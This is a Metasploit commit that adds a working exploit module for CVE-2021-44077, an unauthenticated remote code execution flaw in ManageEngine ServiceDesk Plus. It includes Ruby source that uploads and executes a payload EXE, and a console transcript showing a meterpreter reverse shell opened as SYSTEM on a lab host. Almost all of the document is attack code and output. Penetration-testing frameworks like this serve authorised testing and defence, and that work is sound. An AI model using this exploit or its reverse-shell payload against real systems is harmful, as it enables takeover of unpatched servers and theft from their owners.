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Land #15059, Add ManageEngine ServiceDesk Plus CVE-2021-44077 exploit
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bwatters-r7 committed Dec 23, 2021
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95 changes: 95 additions & 0 deletions ...on/modules/exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077.md
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## Vulnerable Application

### Setup

Follow the [Installing ServiceDesk Plus] guide, in particular [Installation on Windows]. You can skip licensing.

1. Download [ManageEngine_ServiceDesk_Plus_64bit.exe]
1. Run the installer
1. Start the server
1. Hax

Note that build 11305 is not an exploitable build, so don't download that.

[Installing ServiceDesk Plus]: https://help.servicedeskplus.com/installing-servicedesk-plus
[Installation on Windows]: https://help.servicedeskplus.com/introduction/installation-and-getting-started.html
[ManageEngine_ServiceDesk_Plus_64bit.exe]: https://archives.manageengine.com/service-desk/11301/ManageEngine_ServiceDesk_Plus_64bit.exe

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

## Scenarios

### ServiceDesk Plus 11301 on Windows Server 2016

```
msf6 > use exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
[*] Using configured payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > options
Module options (exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Dropper
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set rhosts 172.16.57.222
rhosts => 172.16.57.222
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > run
[*] Started reverse TCP handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /RestAPI/ImportTechnicians is present.
[*] Uploading msiexec.exe
[+] Successfully uploaded msiexec.exe
[*] Executing msiexec.exe
[!] Yo, don't forget to clean up ..\bin\msiexec.exe
[*] Meterpreter session 1 opened (172.16.57.1:4444 -> 172.16.57.222:50095 ) at 2021-12-23 11:28:47 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-PRMQDT3BCJI
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\ManageEngine\ServiceDesk\site24x7
meterpreter > migrate -N spoolsv.exe
[*] Migrating from 4816 to 1728...
[*] Migration completed successfully.
meterpreter > rm 'C:\Program Files\ManageEngine\ServiceDesk\site24x7\..\bin\msiexec.exe'
meterpreter >
```
133 changes: 133 additions & 0 deletions modules/exploits/windows/http/manageengine_servicedesk_plus_cve_2021_44077.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus CVE-2021-44077',
'Description' => %q{
This module exploits CVE-2021-44077, an unauthenticated remote code
execution vulnerability in ManageEngine ServiceDesk Plus, to upload an
EXE (msiexec.exe) and execute it as the SYSTEM account.
Note that build 11305 is vulnerable to the authentication bypass but
not the file upload. The module will check for an exploitable build.
},
'Author' => [
# Discovered by unknown threat actors
'wvu', # Analysis and exploit
'Y4er' # Additional confirmation
],
'References' => [
['CVE', '2021-44077'],
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-authentication-bypass-vulnerability-in-servicedesk-plus-versions-11138-and-above'],
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021'],
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa21-336a'],
['URL', 'https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/'],
['URL', 'https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis'],
['URL', 'https://xz.aliyun.com/t/10631'] # Y4er's writeup
],
'DisclosureDate' => '2021-09-16',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Windows Dropper', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians')
)

unless res
return CheckCode::Unknown('Target failed to respond to check.')
end

# NOTE: /RestAPI/ImportTechnicians was removed after build 11303
unless res.code == 200 && res.get_html_document.at('//form[@name="ImportTechnicians"]')
return CheckCode::Safe('/RestAPI/ImportTechnicians is not present.')
end

CheckCode::Appears('/RestAPI/ImportTechnicians is present.')
end

def exploit
upload_msiexec
execute_msiexec
end

def upload_msiexec
print_status('Uploading msiexec.exe')

form = Rex::MIME::Message.new
form.add_part(Faker::Hacker.verb, nil, nil, 'form-data; name="step"')
form.add_part(generate_payload_exe, 'application/octet-stream', 'binary',
'form-data; name="theFile"; filename="msiexec.exe"')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)

unless res&.code == 401 && res.body.include?('sdp.vulnerability.exceptionerror.title')
fail_with(Failure::NotVulnerable, 'Failed to upload msiexec.exe')
end

print_good('Successfully uploaded msiexec.exe')
end

def execute_msiexec
print_status('Executing msiexec.exe')

# This endpoint "won't" return
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/s247action'),
'vars_post' => {
'execute' => 's247AgentInstallationProcess'
}
}, 0)
end

# XXX: FileDropper dies a miserable death if the file is in use
def on_new_session(_session)
super

# Working directory is C:\Program Files\ManageEngine\ServiceDesk\site24x7
print_warning("Yo, don't forget to clean up ..\\bin\\msiexec.exe")
end

end

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